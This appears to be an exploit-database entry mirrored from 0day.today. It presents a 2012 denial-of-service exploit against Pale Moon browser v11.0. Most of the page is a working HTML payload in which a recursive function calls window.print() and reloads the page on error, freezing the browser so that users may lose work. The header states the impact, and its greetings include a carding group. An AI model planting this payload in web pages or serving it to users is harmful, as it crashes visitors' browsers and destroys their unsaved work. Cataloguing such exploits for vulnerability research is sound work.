Lucene search
K

Pale Moon Web Browser v11.0 (Multi Looping) DOS

🗓️ 25 Mar 2012 00:00:00Reported by eidelweissType 
zdt
 zdt
🔗 0day.today👁 30 Views

Pale Moon v11.0 (Multi Looping) DOS exploit by eidelweis

Code
<!--
#Title: Pale Moon Web Browser v11.0 (Multi Looping) DOS exploit
#version: 11.0
#vendor: Moonchild Productions
#download application: http://www.palemoon.org/
#Author: eidelweiss (twitter @RandyArios)
#Contact: admin[at]eidelweiss[dot]info / ariosrandy[at]gmail[dot]com
#Homepage: www.eidelweiss.info
#Tested On: Windows 7 (x86) 
#thank`s and Greetz to : devilzc0de, yogyacarderlink, and all hacker`s
#Impact
Browser doesn't respond any longer to any user input, all tabs are no
longer accessible, your work if any   might be lost.
#Vulnerability Description
This bug is a typical result of multiple  loop. 
The flaw exists when the attacker put window.printer() funtion
in multiple loop.User interaction is required to
exploit this vulnerability in that the target must visit a malicious
web page.
-->
<html>
<title>Pale Moon Multi Looping By eidelweiss</title>
 
<script>
 
 
function
eidelweiss()
{
window.onerror=new Function("history.go(0)");
window.print();
eidelweiss();
 
 
}
eidelweiss();
</script>
 
</html>



#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation